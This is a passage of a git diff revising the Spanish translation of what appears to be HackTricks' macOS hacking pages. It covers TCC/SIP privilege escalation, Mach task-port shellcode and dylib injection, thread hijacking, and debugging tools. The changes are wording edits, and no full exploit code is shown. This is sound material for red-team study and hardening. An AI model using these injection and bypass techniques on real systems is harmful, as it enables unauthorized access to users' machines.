aplicaciones pueden registrarse para abrir protocolos específicos -Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos. {{#ref}} macos-file-extension-apps.md @@ -89,11 +99,11 @@ macos-file-extension-apps.md ## Escalación de Privilegios TCC / SIP en macOS -En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que los hacen más privilegiados que otros. +En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que les otorgan más privilegios que a otros. Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS necesitará **escalar sus privilegios TCC** (o incluso **eludir SIP**, dependiendo de sus necesidades). -Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**. +Estos privilegios generalmente se otorgan en forma de **entitlements** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**. Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses). @@ -101,6 +111,7 @@ Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios e Por supuesto, desde la perspectiva de un equipo rojo, también deberías estar interesado en escalar a root. Consulta la siguiente publicación para algunos consejos: + {{#ref}} macos-privilege-escalation.md {{#endref}} @@ -111,7 +122,7 @@ macos-privilege-escalation.md ## Referencias -- [**Respuesta a Incidentes de OS X: Scripting y Análisis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index bf04c441b..5297922e4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,10 +1,10 @@ -# Kernel de macOS y Extensiones del Sistema +# macOS Kernel & System Extensions {{#include ../../../banners/hacktricks-training.md}} -## Kernel XNU +## XNU Kernel -El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) **y** elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**. +El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) y elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**. Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede parecer bastante **similar** a un sistema **FreeBSD** con una GUI elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el núcleo XNU incorpora Mach, hay algunas diferencias significativas entre un sistema tradicional similar a Unix y macOS, y estas diferencias pueden causar problemas potenciales o proporcionar ventajas únicas. @@ -27,13 +27,13 @@ El **núcleo** XNU también **incorpora** una cantidad significativa de código - Pila TCP/IP y sockets - Cortafuegos y filtrado de paquetes -Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código BSD dentro del núcleo utiliza funciones Mach para crear una tarea y una estructura de hilo. +Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del núcleo utiliza funciones de Mach para crear una tarea y una estructura de hilo. -Además, **Mach y BSD mantienen diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS. +Además, **Mach y BSD mantienen cada uno diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas de Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS. ### I/O Kit - Controladores -El I/O Kit es un marco de **controladores de dispositivos** orientado a objetos y de código abierto en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso. +El I/O Kit es un marco de **controladores de dispositivos** orientado a objetos y de código abierto en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que el código modular se agregue al núcleo sobre la marcha, soportando hardware diverso. {{#ref}} macos-iokit.md @@ -45,9 +45,9 @@ macos-iokit.md ../macos-proces-abuse/macos-ipc-inter-process-communication/ {{#endref}} -## Extensiones del Núcleo de macOS +## macOS Kernel Extensions -macOS es **super restrictivo para cargar Extensiones del Núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass). +macOS es **super restrictivo para cargar extensiones de núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass). En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS carga dentro de su **kernelcache**: @@ -55,15 +55,15 @@ En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS macos-kernel-extensions.md {{#endref}} -### Extensiones del Sistema de macOS +### macOS System Extensions -En lugar de usar Extensiones del Núcleo, macOS creó las Extensiones del Sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar usar extensiones del núcleo. +En lugar de usar extensiones de núcleo, macOS creó las extensiones del sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar el uso de extensiones de núcleo. {{#ref}} macos-system-extensions.md {{#endref}} -## Referencias +## References - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 0adbb0eb2..107a2db68 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -8,7 +8,7 @@ Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos, y cada tarea puede contener **múltiples hilos**. Estas **tareas e hilos están mapeados 1:1 a procesos y hilos POSIX**. -La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo. +La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo. Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos mach del proceso**. El nombre de un puerto mach es en realidad un número (un puntero al objeto del núcleo). @@ -26,7 +26,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s - **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix. - **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos. -**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas. +**Las tareas pueden transferir derechos de ENVÍO a otras**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas. ### Puertos de Archivo @@ -41,21 +41,21 @@ Como se menciona, para establecer el canal de comunicación, el **servidor de ar 1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso. 2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**. 3. La tarea **A** establece una **conexión** con el **servidor de arranque**, proporcionando el **nombre del servicio del puerto** y el **derecho de ENVÍO** a través de un procedimiento conocido como el registro de arranque. -4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**. +4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el derecho de ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**. 5. Al adquirir un derecho de ENVÍO, la tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la tarea A**. -6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). +6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). -El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamar un nombre de servicio de autorización** y luego aprobar cada solicitud. +El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud. -Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **DERECHO DE RECEPCIÓN para cada uno de estos nombres de servicio**. +Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**. Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente: - La tarea **B** inicia una búsqueda de arranque **para un nombre de servicio**. - **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**. -- La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**. -- launchd duplica el **DERECHO DE ENVÍO y lo envía a la tarea B**. -- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). +- La tarea **A** (el servicio) realiza un **check-in de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**. +- launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**. +- La tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación. @@ -231,8 +231,8 @@ printf("Sent a message\n"); - **Puerto de privilegio de host**: Un proceso con derecho de **Enviar** sobre este puerto puede realizar **acciones privilegiadas** como cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso. - Además, para llamar a la API **`kext_request`** es necesario tener otros derechos **`com.apple.private.kext*`** que solo se otorgan a los binarios de Apple. - **Puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`. -- **Puerto de tarea** (también conocido como puerto del kernel)**:** Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...). -- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como un caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`. +- **Puerto de tarea** (también conocido como puerto del kernel): Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...). +- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`. - Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`): - Si la aplicación tiene el derecho **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción. - Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple. @@ -242,6 +242,7 @@ printf("Sent a message\n"); Puedes obtener un shellcode de: + {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -500,7 +501,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ``` ### Inyección de Dylib en hilo a través del puerto de tarea -En macOS, **los hilos** pueden ser manipulados a través de **Mach** o utilizando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API Mach, por lo que **no es compatible con posix**. +En macOS, **los hilos** pueden ser manipulados a través de **Mach** o utilizando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**. Fue posible **inyectar un shellcode simple** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**. @@ -508,6 +509,7 @@ Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from Puedes encontrar **dylibs de ejemplo** en (por ejemplo, el que genera un registro y luego puedes escucharlo): + {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -792,7 +794,8 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ``` ### Secuestro de Hilo a través del puerto de Tarea -En esta técnica, se secuestra un hilo del proceso: +En esta técnica, un hilo del proceso es secuestrado: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -802,10 +805,11 @@ En esta técnica, se secuestra un hilo del proceso: ### Información Básica -XPC, que significa XNU (el núcleo utilizado por macOS) inter-Process Communication, es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido. +XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido. Para más información sobre cómo funciona esta **comunicación** y cómo **podría ser vulnerable**, consulta: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} @@ -816,6 +820,7 @@ MIG fue creado para **simplificar el proceso de creación de código Mach IPC**. Para más información, consulta: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 154090682..7fde47014 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -97,7 +97,7 @@ Se montará en `/Volumes` ### Binarios empaquetados - Verificar la alta entropía -- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetadas) +- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetado) - El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR" ## Análisis estático de Objective-C @@ -123,8 +123,8 @@ Cuando se llama a una función en un binario que utiliza Objective-C, el código Los parámetros que esta función espera son: - El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que debe recibir el mensaje**". O más simplemente, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto. -- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, esto es solo el **nombre del método.** -- Los parámetros restantes son cualquier **valor que requiera el método** (op). +- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, este es solo el **nombre del método.** +- Los parámetros restantes son cualquier **valor que sea requerido por el método** (op). Vea cómo **obtener esta información fácilmente con `lldb` en ARM64** en esta página: @@ -135,14 +135,14 @@ arm64-basic-assembly.md x64: | **Argumento** | **Registro** | **(para) objc_msgSend** | -| ------------------| -------------------------------------------------------------- | ------------------------------------------------------ | +| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ | | **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** | | **2do argumento** | **rsi** | **op: nombre del método** | -| **3er argumento** | **rdx** | **1er argumento al método** | -| **4to argumento** | **rcx** | **2do argumento al método** | -| **5to argumento** | **r8** | **3er argumento al método** | -| **6to argumento** | **r9** | **4to argumento al método** | -| **7mo+ argumento** |

rsp+
(en la pila)

| **5to+ argumento al método** | +| **3er argumento** | **rdx** | **1er argumento para el método** | +| **4to argumento** | **rcx** | **2do argumento para el método** | +| **5to argumento** | **r8** | **3er argumento para el método** | +| **6to argumento** | **r9** | **4to argumento para el método** | +| **7mo+ argumento** |

rsp+
(en la pila)

| **5to+ argumento para el método** | ### Volcar metadatos de ObjectiveC @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture ``` Puedes encontrar más información sobre la [**información almacenada en esta sección en esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). -Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). Los **símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco clara, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original: +Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). **Los símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco legible, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -218,7 +218,7 @@ macOS expone algunas APIs interesantes que brindan información sobre los proces ### Stackshot y microstackshots -**Stackshotting** es una técnica utilizada para capturar el estado de los procesos, incluidos los stacks de llamadas de todos los hilos en ejecución. Esto es particularmente útil para la depuración, análisis de rendimiento y comprensión del comportamiento del sistema en un momento específico. En iOS y macOS, el stackshotting se puede realizar utilizando varias herramientas y métodos como las herramientas **`sample`** y **`spindump`**. +**Stackshotting** es una técnica utilizada para capturar el estado de los procesos, incluidos los stacks de llamadas de todos los hilos en ejecución. Esto es particularmente útil para la depuración, el análisis de rendimiento y la comprensión del comportamiento del sistema en un momento específico. En iOS y macOS, el stackshotting se puede realizar utilizando varias herramientas y métodos como las herramientas **`sample`** y **`spindump`**. ### Sysdiagnose @@ -262,16 +262,16 @@ En el panel derecho puede ver información interesante como el **historial de na ### dtrace -Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocadas a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema. +Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocados a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema. -DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace, que solo está disponible para el usuario root. +DTrace utiliza la función **`dtrace_probe_create`** para crear un probe para cada llamada al sistema. Estos probes pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace que solo está disponible para el usuario root. > [!TIP] > Para habilitar Dtrace sin deshabilitar completamente la protección SIP, podría ejecutar en modo de recuperación: `csrutil enable --without dtrace` > > También puede **`dtrace`** o **`dtruss`** binarios que **ha compilado**. -Las sondas disponibles de dtrace se pueden obtener con: +Los probes disponibles de dtrace se pueden obtener con: ```bash dtrace -l | head ID PROVIDER MODULE FUNCTION NAME @@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME 43 profile profile-97 44 profile profile-199 ``` -El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín. +El nombre de la sonda consta de cuatro partes: el proveedor, módulo, función y nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín. Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se disparen, necesitaremos usar el lenguaje D. @@ -339,18 +339,18 @@ dtruss -c -p 1000 #get syscalls of PID 1000 ``` ### kdebug -Es una herramienta de trazado del kernel. Los códigos documentados se pueden encontrar en **`/usr/share/misc/trace.codes`**. +Es una instalación de trazado del kernel. Los códigos documentados se pueden encontrar en **`/usr/share/misc/trace.codes`**. -Herramientas como `latency`, `sc_usage`, `fs_usage` y `trace` la utilizan internamente. +Herramientas como `latency`, `sc_usage`, `fs_usage` y `trace` lo utilizan internamente. Para interactuar con `kdebug`, se usa `sysctl` sobre el espacio de nombres `kern.kdebug` y los MIBs que se pueden encontrar en `sys/sysctl.h`, teniendo las funciones implementadas en `bsd/kern/kdebug.c`. Para interactuar con kdebug con un cliente personalizado, estos son generalmente los pasos: - Eliminar configuraciones existentes con KERN_KDSETREMOVE -- Establecer traza con KERN_KDSETBUF y KERN_KDSETUP +- Establecer trazado con KERN_KDSETBUF y KERN_KDSETUP - Usar KERN_KDGETBUF para obtener el número de entradas del búfer -- Sacar el propio cliente de la traza con KERN_KDPINDEX +- Obtener el propio cliente del trazado con KERN_KDPINDEX - Habilitar el trazado con KERN_KDENABLE - Leer el búfer llamando a KERN_KDREADTR - Para emparejar cada hilo con su proceso, llamar a KERN_KDTHRMAP. @@ -377,9 +377,9 @@ Esto se utiliza para hacer un perfilado a nivel de kernel y está construido uti Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código `Kdebug` y la dirección del marco del kernel que llama. Si el código `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (ver `osfmk/kperf/action.h` para las opciones). -Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Estos códigos se pueden encontrar en `osfmk/kperf/kperfbsd.c`. +Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Este código se puede encontrar en `osfmk/kperf/kperfbsd.c`. -Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre los contadores de rendimiento de la máquina. +Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre contadores de rendimiento de la máquina. ### ProcessMonitor @@ -388,7 +388,7 @@ Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que propor ### SpriteTree [**SpriteTree**](https://themittenmac.com/tools/) es una herramienta que imprime las relaciones entre procesos.\ -Necesitas monitorear tu Mac con un comando como **`sudo eslogger fork exec rename create > cap.json`** (el terminal que lanza esto requiere FDA). Y luego puedes cargar el json en esta herramienta para ver todas las relaciones: +Necesitas monitorear tu mac con un comando como **`sudo eslogger fork exec rename create > cap.json`** (el terminal que lanza esto requiere FDA). Y luego puedes cargar el json en esta herramienta para ver todas las relaciones:
@@ -438,9 +438,9 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > Dentro de lldb, volcar un proceso con `process save-core` -
(lldb) ComandoDescripción
run (r)Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entryIniciar la ejecución deteniéndose en el punto de entrada
continue (c)Continuar la ejecución del proceso depurado.
nexti (n / ni)Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + cPausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)

b main #Cualquier función llamada main

b `main #Función principal del binario

b set -n main --shlib #Función principal del binario indicado

